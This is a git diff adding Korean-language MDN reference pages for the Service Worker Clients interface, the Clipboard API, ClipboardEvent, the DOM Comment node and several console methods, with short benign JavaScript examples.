다음 예시는 서비스워커의 "activate" 이벤트 리스너에서 claim() 를 사용하므로, fetch 들이 이 서비스워커를 통과하기 전에 동일한 스코프에서 로드된 클라이언트들은 다시 로드될 필요가 없다. .

+ +
self.addEventListener('activate', event => {
+  event.waitUntil(clients.claim());
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients-claim', 'claim()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Clients.claim")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/clients/index.html b/files/ko/web/api/clients/index.html new file mode 100644 index 0000000000..d4365b320e --- /dev/null +++ b/files/ko/web/api/clients/index.html @@ -0,0 +1,102 @@ +--- +title: Clients +slug: Web/API/Clients +tags: + - API + - Clients + - Experimental + - Interface + - NeedsTranslation + - Reference + - Service Workers + - Service worker API + - ServiceWorker + - TopicStub + - Workers +translation_of: Web/API/Clients +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

The Clients interface provides access to {{domxref("Client")}} objects. Access it via {{domxref("ServiceWorkerGlobalScope", "self")}}.clients within a service worker.

+ +

Methods

+ +
+
{{domxref("Clients.get()")}}
+
Returns a {{jsxref("Promise")}} for a {{domxref("Client")}} matching a given {{domxref("Client.id", "id")}}.
+
{{domxref("Clients.matchAll()")}}
+
Returns a {{jsxref("Promise")}} for an array of {{domxref("Client")}} objects. An options argument allows you to control the types of clients returned. 
+
{{domxref("Clients.openWindow()")}}
+
Opens a new browser window for a given url and returns a {{jsxref("Promise")}} for the new {{domxref("WindowClient")}}.
+
{{domxref("Clients.claim()")}}
+
Allows an active service worker to set itself as the {{domxref("ServiceWorkerContainer.controller", "controller")}} for all clients within its {{domxref("ServiceWorkerRegistration.scope", "scope")}}. 
+
+ +

Examples

+ +

The following example shows an existing chat window or creates a new one when the user clicks a notification.

+ +
addEventListener('notificationclick', event => {
+  event.waitUntil(async function() {
+    const allClients = await clients.matchAll({
+      includeUncontrolled: true
+    });
+
+    let chatClient;
+
+    // Let's see if we already have a chat window open:
+    for (const client of allClients) {
+      const url = new URL(client.url);
+
+      if (url.pathname == '/chat/') {
+        // Excellent, let's use it!
+        client.focus();
+        chatClient = client;
+        break;
+      }
+    }
+
+    // If we didn't find an existing chat window,
+    // open a new one:
+    if (!chatClient) {
+      chatClient = await clients.openWindow('/chat/');
+    }
+
+    // Message the client:
+    chatClient.postMessage("New chat messages!");
+  }());
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Clients")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/clipboard/index.html b/files/ko/web/api/clipboard/index.html new file mode 100644 index 0000000000..7dad311ca7 --- /dev/null +++ b/files/ko/web/api/clipboard/index.html @@ -0,0 +1,89 @@ +--- +title: Clipboard +slug: Web/API/Clipboard +tags: + - API + - Clipboard + - Clipboard API + - Interface + - Reference + - 인터페이스 + - 클립보드 + - 클립보드 API +translation_of: Web/API/Clipboard +--- +

{{SeeCompatTable}}{{APIRef("Clipboard API")}}

+ +
+

clipboard는 데이터 저장 또는 전송을 위한 짧은 기간동안 사용하는 데이터 버퍼 입니다.  documents 와 applications 양쪽에서 사용 가능합니다.  It is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined programming interfaces.

+ +

A typical application accesses clipboard functionality by mapping user input such as keybindingsmenu selections, etc. to these interfaces.

+
+ +

Clipboard API 의 Clipboard 인터페이스는 시스템 클립보드로부터 텍스트 및 데이터를 읽거나 시스템 클립보드에 쓰기 위한 인터페이스를 지원합니다.

+ +

The Clipboard API can be used to implement cut, copy, and paste features within a web application.

+ +

The system clipboard is exposed through the global {{domxref("Navigator.clipboard")}} property.

+ +

Calls to the methods of the Clipboard object will not succeed if the user hasn't granted the needed permissions using the Permissions API and the "clipboard-read" or "clipboard-write" permission as appropriate.

+ +
+

Note: In reality, at this time browser requirements for access to the clipboard vary significantly. Please see the section {{anch("Clipboard availability")}} for details.

+
+ +

All of the Clipboard API methods operate asynchronously; they return a {{jsxref("Promise")}} which is resolved once the clipboard access has been completed. The promise is rejected if clipboard access is denied.

+ +

Methods

+ +

Clipboard 는 {{domxref("EventTarget")}} 인터페이스를 기반으로 하고 있으며, 해당 인터페이스의 method를 포함합니다.

+ +
+
{{domxref("Clipboard.read()","read()")}}
+
클립보드로부터 임의의 데이터(이미지와 같은)를 요청하며, returning a {{jsxref("Promise")}}. When the data has been retrieved, the promise is resolved with a {{domxref("DataTransfer")}} object that provides the data.
+
{{domxref("Clipboard.readText()","readText()")}}
+
시스템 클립보드로부터 텍스트를 읽는다. returns a Promise which is resolved with a {{domxref("DOMString")}} containing the clipboard's text once it's available.
+
{{domxref("Clipboard.write()","write()")}}
+
시스템 클립보드에 예를 들어 이미지들과 같은 데이터를 쓴다. 이 비동기 작업은 Promise를 반환된 Promise를 resolve 함으로써 작업이 종료되었다는 사실을 알립니다.
+
{{domxref("Clipboard.writeText()","writeText()")}}
+
시스템 클립보드에 텍스트를 쓰며, returning a Promise which is resolved once the text is fully copied into the clipboard.
+
+ +

Clipboard availability

+ +

The asynchronous clipboard API is a relatively recent addition, and the process of implementing it in browsers is not yet complete. Due to both potential security concerns and technical complexities, the process of integrating this API is happening gradually in most browsers.

+ +

For example, Firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways.

+ +

For WebExtensions, you can request the clipboardRead and clipboardWrite permissions to be able to use clipboard.readText() and clipboard.writeText(). Content scripts applied on HTTP sites do not have access to the clipboard object. See extensions in Firefox 63.

+ +

In addition, {{domxref("Clipboard.read", "read()")}} and {{domxref("Clipboard.write", "write()")}} are disabled by default and require changing a preference to enable them. Check the compatibility tables for each method before using it.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

Browser Compatibility

+ + + +

{{Compat("api.Clipboard")}}

+ +

See also

+ + diff --git a/files/ko/web/api/clipboard_api/index.html b/files/ko/web/api/clipboard_api/index.html new file mode 100644 index 0000000000..325ce87e71 --- /dev/null +++ b/files/ko/web/api/clipboard_api/index.html @@ -0,0 +1,74 @@ +--- +title: Clipboard API +slug: Web/API/Clipboard_API +tags: + - API + - Clipboard API + - Landing + - Overview + - 클립보드 +translation_of: Web/API/Clipboard_API +--- +
{{DefaultAPISidebar("Clipboard API")}}
+ +

Clipboard API는 클립보드 명령(잘라내기, 복사, 붙여넣기)에 응답할 수 있는 기능 및 시스템 클립보드에 비동기적으로 읽고 쓸 수 있는 방법을 제공합니다. 클립보드 콘텐츠로의 접근은 Permissions API를 통해야 하며, 사용자 동의 없이는 콘텐츠를 읽거나 수정할 수 없습니다.

+ +

Clipboard API는 {{domxref("document.execCommand()")}}를 사용한 클립보드 접근을 대체하기 위해 디자인되었습니다.

+ +

클립보드 접근

+ +

Clipboard 객체의 인스턴스를 생성하지 않고, 전역 {{domxref("Navigator.clipboard", "navigator.clipboard")}}를 사용해 시스템 클립보드에 접근합니다.

+ +
navigator.clipboard.readText().then(
+  clipText => document.querySelector(".editor").innerText += clipText);
+ +

위의 코드 조각은 클립보드에서 텍스트를 가져와서, editor 클래스를 가진 요소의 콘텐츠 뒤에 추가합니다. {{domxref("Clipboard.readText", "readText()")}}는 클립보드의 내용이 텍스트가 아니면 빈 문자열을 반환하므로, 이렇게 작성해도 안전합니다.

+ +

인터페이스

+ +
+
{{domxref("Clipboard")}} {{securecontext_inline}}
+
시스템 클립보드에서 텍스트와 데이터를 읽고 쓸 수 있는 인터페이스를 제공합니다. 명세는 'Async Clipboard API'라고 부릅니다.
+
{{domxref("ClipboardEvent")}} {{securecontext_inline}}
+
클립보드 수정에 관련된 정보를 제공하는 이벤트, 즉 {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}, {{domxref("Element/paste_event", "paste")}} 이벤트를 나타냅니다. 명세는 'Clipboard Event API'라고 부릅니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

브라우저 호환성

+ +

Clipboard

+ +
+ + +

{{Compat("api.Clipboard")}}

+ +

ClipboardEvent

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

같이 보기

+ + +
diff --git a/files/ko/web/api/clipboardevent/clipboarddata/index.html b/files/ko/web/api/clipboardevent/clipboarddata/index.html new file mode 100644 index 0000000000..7334fa7e83 --- /dev/null +++ b/files/ko/web/api/clipboardevent/clipboarddata/index.html @@ -0,0 +1,51 @@ +--- +title: ClipboardEvent.clipboardData +slug: Web/API/ClipboardEvent/clipboardData +translation_of: Web/API/ClipboardEvent/clipboardData +--- +

{{ apiref("Clipboard API") }} {{SeeCompatTable}}

+ +

ClipboardEvent.clipboardData 속성은 {{domxref("DataTransfer")}} 객체를 가지고 있으며, 아래와 같은 목적으로 사용될 수 있습니다:

+ + + +

더 많은 정보를 확인하려면 {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} 이벤트에 관한 문서를 참고하세요.

+ +

Syntax

+ +
data = ClipboardEvent.clipboardData
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ClipboardEvent.clipboardData")}}

+ +

See also

+ + diff --git a/files/ko/web/api/clipboardevent/index.html b/files/ko/web/api/clipboardevent/index.html new file mode 100644 index 0000000000..332846c031 --- /dev/null +++ b/files/ko/web/api/clipboardevent/index.html @@ -0,0 +1,67 @@ +--- +title: ClipboardEvent +slug: Web/API/ClipboardEvent +tags: + - API + - Clipboard API + - Event + - Experimental + - Interface + - NeedsTranslation + - TopicStub +translation_of: Web/API/ClipboardEvent +--- +

{{APIRef("Clipboard API")}} {{SeeCompatTable}}

+ +

The ClipboardEvent interface represents events providing information related to modification of the clipboard, that is {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} events.

+ +

Constructor

+ +
+
{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}
+
Creates a ClipboardEvent event with the given parameters.
+
+ +

Properties

+ +

Also inherits properties from its parent {{domxref("Event")}}.

+ +
+
{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}
+
Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.
+
+ +

Methods

+ +

No specific methods; inherits methods from its parent {{domxref("Event")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/comment/index.html b/files/ko/web/api/comment/index.html new file mode 100644 index 0000000000..8758469444 --- /dev/null +++ b/files/ko/web/api/comment/index.html @@ -0,0 +1,73 @@ +--- +title: Comment +slug: Web/API/Comment +tags: + - API + - DOM + - Reference +translation_of: Web/API/Comment +--- +
{{ ApiRef("DOM") }}
+ +

Comment 인터페이스는 마크업 내의 텍스트 표기인 주석을 나타냅니다. 주석은 화면에 보여지지 않지만 웹 페이지의 소스에서 확인할 수 있습니다. HTML과 XML에서 주석은  '<!--' 표기와 '-->' 사이의 내용입니다. XML의 주석 내용에는 '--'을 포함할 수 없습니다.

+ +

{{InheritanceDiagram}}

+ +

속성

+ +

Comment 인터페이스는 별도의 속성을 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 속성을 상속합니다.

+ +

생성자

+ +
+
{{domxref("Comment.Comment()", "Comment()")}} {{experimental_inline}}
+
매개변수를 내용으로 하는 Comment 객체를 반환합니다.
+
+ +

메서드

+ +

Comment 인터페이스는 별도의 메서드를 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 메서드를 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#comment', 'Comment')}}{{Spec2('DOM WHATWG')}}Added the constructor.
{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}{{Spec2('DOM1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Comment")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/console/assert/index.html b/files/ko/web/api/console/assert/index.html new file mode 100644 index 0000000000..3ad2aafa8e --- /dev/null +++ b/files/ko/web/api/console/assert/index.html @@ -0,0 +1,99 @@ +--- +title: console.assert() +slug: Web/API/Console/assert +tags: + - API + - DOM + - Method + - Reference + - console +translation_of: Web/API/console/assert +--- +
{{APIRef("Console API")}}
+ +

console.assert() 메서드는 주어진 가정이 거짓인 경우 콘솔에 오류 메시지를 출력합니다. 참인 경우, 아무것도 하지 않습니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.assert(assertion, obj1 [, obj2, ..., objN]);
+console.assert(assertion, msg [, subst1, ..., substN]); // c-like message formatting
+
+ +

Parameters

+ +
+
assertion
+
아무 불리언 표현식. 거짓인 경우, 메시지를 콘솔에 출력합니다.
+
obj1 ... objN
+
출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.
+
msg
+
0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 매개변수의 치환 문자열에 대입할 JavaScript 객체.
+
+ +

예제

+ +

다음 예제는 객체와 가정을 함께 사용하는 법을 보입니다.

+ +
const errorMsg = 'the # is not even';
+for (let number = 2; number <= 5; number += 1) {
+    console.log('the # is ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // or, using ES2015 object property shorthand:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+
+ +

참고로, {{domxref("console.log()")}}의 치환 문자열을 거의 모든 브라우저에서 정상 동작하지만...

+ +
console.log('the word is %s', 'foo');
+// output: the word is foo
+
+ +

console.assert()의 치환 문자열은 일부 브라우저에서 동작하지 않습니다.

+ +
console.assert(false, 'the word is %s', 'foo');
+// correct output in Node.js and some browsers
+//     (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+//     (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+
+ +

{{domxref("console")}} 문서의 콘솔에 텍스트 출력하기 항목도 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#assert", "console.assert()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.assert")}}

diff --git a/files/ko/web/api/console/clear/index.html b/files/ko/web/api/console/clear/index.html new file mode 100644 index 0000000000..540ce73ee5 --- /dev/null +++ b/files/ko/web/api/console/clear/index.html @@ -0,0 +1,43 @@ +--- +title: console.clear() +slug: Web/API/Console/clear +tags: + - API + - Method + - Reference + - console +translation_of: Web/API/Console/clear +--- +
{{APIRef("Console API")}}
+ +

console.clear() 메서드는 현재 환경에서 가능한 경우, 콘솔에 기록된 메시지를 모두 지웁니다.

+ +

구문

+ +
console.clear();
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#clear", "console.clear()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.clear")}}

diff --git a/files/ko/web/api/console/count/index.html b/files/ko/web/api/console/count/index.html new file mode 100644 index 0000000000..0040da4c11 --- /dev/null +++ b/files/ko/web/api/console/count/index.html @@ -0,0 +1,102 @@ +--- +title: console.count() +slug: Web/API/Console/count +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Console/count +--- +
{{APIRef("Console API")}}
+ +

console.count() 메서드는 특정 count() 호출의 횟수를 세어 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.count([label]);
+ +

매개변수

+ +
+
label {{Optional_Inline}}
+
{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count() 호출의 수를 출력합니다. 누락한 경우 "default"를 지정한 것처럼 동작합니다.
+
+ +

예제

+ +
let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+ +

위 코드의 출력 결과는 다음과 같은 형태입니다.

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+ +

레이블을 명시하지 않았기 때문에 default로 나타납니다.

+ +

첫 번째 count()의 매개변수에는 user 변수를 제공하고, 두 번째에는 문자열 "alice"를 제공할 경우...

+ +
let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");
+ +

다음과 같이 출력합니다.

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"
+ +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.count()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.count")}}

diff --git a/files/ko/web/api/console/countreset/index.html b/files/ko/web/api/console/countreset/index.html new file mode 100644 index 0000000000..30e6d3ee95 --- /dev/null +++ b/files/ko/web/api/console/countreset/index.html @@ -0,0 +1,108 @@ +--- +title: Console.countReset() +slug: Web/API/Console/countReset +tags: + - API + - DOM + - Method + - Reference + - console +translation_of: Web/API/Console/countReset +--- +
{{APIRef("Console API")}}
+ +

console.countReset() 메서드는 {{domxref("console.count()")}}의 카운터를 초기화합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.countReset([label]);
+
+ +

매개변수

+ +
+
label {{optional_inline}}
+
{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count()를 초기화합니다. 누락한 경우 "default" 카운터를 초기화합니다.
+
+ +

예제

+ +
let user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();
+ +

위 코드의 출력 결과는 다음과 같은 형태입니다.

+ +
"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+"default: 0"
+
+ +

countReset()이 기본 카운터를 초기화했음을 알 수 있습니다.

+ +

레이블을 지정한 경우...

+ +
let user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");
+ +

다음과 같이 출력합니다.

+ +
"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"
+ +

카운터 bob을 초기화해도 alice의 값에는 영향이 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#count", "console.countReset()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.countReset")}}

diff --git a/files/ko/web/api/console/debug/index.html b/files/ko/web/api/console/debug/index.html new file mode 100644 index 0000000000..86a3abbc0d --- /dev/null +++ b/files/ko/web/api/console/debug/index.html @@ -0,0 +1,59 @@ +--- +title: console.debug() +slug: Web/API/Console/debug +tags: + - API + - Method + - Reference + - console +translation_of: Web/API/Console/debug +--- +
{{APIRef("Console API")}}
+ +

console.debug() 메서드는 메시지를 "디버그" 중요도로 콘솔에 출력합니다. 디버그 중요도 메시지는 별도 설정 없이는 보이지 않습니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.debug(obj1 [, obj2, ..., objN]);
+console.debug(msg [, subst1, ..., substN]);
+
+ +

매개변수

+ +
+
obj1 ... objN
+
출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.
+
msg
+
0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 매개변수의 치환 문자열에 대입할 JavaScript 객체.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#debug", "console.debug()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Console.debug")}}

+
diff --git a/files/ko/web/api/console/error/index.html b/files/ko/web/api/console/error/index.html new file mode 100644 index 0000000000..529632b39e --- /dev/null +++ b/files/ko/web/api/console/error/index.html @@ -0,0 +1,77 @@ +--- +title: Console.error() +slug: Web/API/Console/error +tags: + - API + - DOM + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 +translation_of: Web/API/Console/error +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 에러 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
console.error(obj1 [, obj2, ..., objN]);
+console.error(msg [, subst1, ..., substN]);
+console.exception(obj1 [, obj2, ..., objN]);
+console.exception(msg [, subst1, ..., substN]);
+
+ +
+

노트: console.exception()console.error()의 별칭입니다. 둘은 기능적으로 동일합니다.

+
+ +

파라미터

+ +
+
obj1 ... objN
+
출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 나열된 순서로 함께 출력됩니다.
+
msg
+
0개 이상의 하위 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 안의 대체할 하위 문자열을 포함하는 JavaScript 객체. 출력 형식에 추가 제어를 할 수 있게 해줍니다.
+
+ +

자세한 내용은 {{domxref("console")}} 문서의 콘솔에 텍스트를 출력하기를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#error", "console.error()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Console.error")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/group/index.html b/files/ko/web/api/console/group/index.html new file mode 100644 index 0000000000..a4c4033612 --- /dev/null +++ b/files/ko/web/api/console/group/index.html @@ -0,0 +1,83 @@ +--- +title: Console.group() +slug: Web/API/Console/group +translation_of: Web/API/Console/group +--- +
{{APIRef("Console API")}}
+ +

Web Console log 에 새로운 인라인 그룹을 만듭니다. This indents all following output by an additional level, until {{domxref("console.groupEnd()")}} is called.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.group([label]);
+ +

매개변수

+ +

 

+ +
+
label
+
Label for the group. Optional. (Chrome 59 tested) Does not work with console.groupEnd().
+
+ +

{{h3_gecko_minversion("Using groups in the console", "9.0")}}

+ +

You can use nested groups to help organize your output by visually associating related messages. To create a new nested block, call console.group(). The console.groupCollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it.

+ +

Note: From Gecko 9 until Gecko 51, the groupCollapsed() method was the same as group(). Collapsed groups are fully supported starting in Gecko 52. See {{bug("1088360")}}.

+ +

To exit the current group, call console.groupEnd(). For example, given this code:

+ +
console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");
+ +

The output looks like this:

+ +

A screenshot of messages nested in the console output.

+ +

See Using groups in the console in the documentation of {{domxref("console")}} for more details.

+ +

 

+ +

설명

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#group", "console.group()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ +

 

+ +

{{Compat("api.Console.group")}}

+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/console/index.html b/files/ko/web/api/console/index.html new file mode 100644 index 0000000000..cd815b0979 --- /dev/null +++ b/files/ko/web/api/console/index.html @@ -0,0 +1,296 @@ +--- +title: console +slug: Web/API/Console +tags: + - API + - Interface + - Reference + - console + - 콘솔 +translation_of: Web/API/Console +--- +
{{APIRef("Console API")}}
+ +

console 객체는 브라우저의 디버깅 콘솔(Firefox 웹 콘솔 등)에 접근할 수 있는 메서드를 제공합니다. 동작 방식은 브라우저마다 다르지만, 사실상 표준으로 여겨지는 기능도 여럿 있습니다.

+ +

console 객체는 아무 전역 객체에서나 접근할 수 있습니다. 브라우징 문맥에선 {{domxref("Window")}}, 워커에서는 {{domxref("WorkerGlobalScope")}}이 속성으로 포함하고 있습니다. {{domxref("Window.console")}}의 형태로 노출되어 있으므로 간단하게 console로 참조할 수 있습니다.

+ +
console.log("링크를 열 수 없습니다")
+ +

이 문서는 콘솔 객체에서 사용할 수 있는 {{anch("메서드")}}와 몇 가지 {{anch("예제")}}를 다룹니다.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 실제 console 인터페이스는 역사적 이유로 인해 모두 소문자(즉 Console이 아니고 console)입니다.

+
+ +

메서드

+ +
+
{{domxref("console.assert()")}}
+
첫 번째 매개변수가 false인 경우 메시지와 {{anch("스택 추적")}}을 출력합니다.
+
{{domxref("console.clear()")}}
+
콘솔의 내용을 지웁니다.
+
{{domxref("console.count()")}}
+
주어진 레이블로 메서드를 호출한 횟수를 출력합니다.
+
{{domxref("console.countReset()")}}
+
주어진 라벨의 횟수를 초기화합니다.
+
{{domxref("console.debug()")}}
+
"debug" 중요도로 메시지를 출력합니다.
+
{{domxref("console.dir()")}}
+
주어진 JavaScript 객체의 속성 목록을 상호작용 가능한 형태로 표시합니다. 속성 값이 다른 객체라면 펼쳐서 살펴볼 수 있습니다.
+
{{domxref("console.dirxml()")}}
+
+

객체를 XML/HTML 요소 형태로 나타낼 수 있으면 그렇게 표시하고, 아닐 경우 JavaScript 객체 형태로 표시합니다.

+
+
{{domxref("console.error()")}}
+
오류 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.exception()")}} {{non-standard_inline}} {{deprecated_inline}}
+
error()의 별칭입니다.
+
{{domxref("console.group()")}}
+
새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그룹을 나오려면 groupEnd()를 호출하세요.
+
{{domxref("console.groupCollapsed()")}}
+
새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그러나 group()과 달리, groupCollapsed()로 생성한 그룹은 처음에 접혀 있습니다. 그룹을 나오려면 groupEnd()를 호출하세요.
+
{{domxref("console.groupEnd()")}}
+
현재 인라인 {{anch("그룹")}}을 나옵니다.
+
{{domxref("console.info()")}}
+
정보 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.log()")}}
+
일반 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
{{domxref("console.profile()")}}
+
브라우저의 내장 프로파일러(Firefox 성능 측정 도구 등)를 실행합니다. 선택 사항으로 프로파일에 이름을 붙일 수 있습니다.
+
{{domxref("console.profileEnd()")}}
+
프로파일러를 멈춥니다. 프로파일 결과는 브라우저의 성능 측정 도구(Firefox 성능 측정 도구 등)에서 확인할 수 있습니다.
+
{{domxref("console.table()")}}
+
표 형태의 데이터를 표에 그립니다.
+
{{domxref("console.time()")}}
+
주어진 이름의 {{anch("타이머")}}를 실행합니다. 하나의 페이지에서는 최대 10,000개의 타이머를 동시에 실행할 수 있습니다.
+
{{domxref("console.timeEnd()")}}
+
지정한 {{anch("타이머")}}를 멈추고, 소요시간을 출력합니다.
+
{{domxref("console.timeStamp()")}} {{non-standard_inline}}
+
브라우저의 타임라인이나 워터폴에 마커를 추가합니다.
+
{{domxref("console.trace()")}}
+
{{anch("스택 추적")}}을 출력합니다.
+
{{domxref("console.warn()")}}
+
경고 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.
+
+ +

예제

+ +

콘솔에 텍스트 출력하기

+ +

콘솔에서 가장 많이 사용하는 기능은 데이터와 텍스트를 출력하는 것입니다. 콘솔 메시지의 중요도는 네 가지로, 각각 {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}} 메서드를 사용해 출력할 수 있습니다. 중요도 별로 출력 스타일이 조금씩 다르며, 중요도 필터를 사용해 원하는 메시지만 골라 볼 수도 있습니다.

+ +

각각의 출력 메서드는 두 가지 방법으로 사용할 수 있습니다. 첫 번째는 단순히 객체 목록을 제공하는 것으로, 각자의 문자열 표현이 하나로 합쳐져서 출력됩니다. 두 번째는 치환 문자열을 포함한 문자열 뒤에, 그 자리에 배치할 객체 목록을 제공하는 것입니다.

+ +

단일 객체 출력하기

+ +

로그를 남기는 가장 간단한 방법은 하나의 객체를 출력하는 것입니다.

+ +
var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+
+ +

출력은 다음과 같습니다.

+ +
[09:27:13.475] ({str:"Some text", id:5})
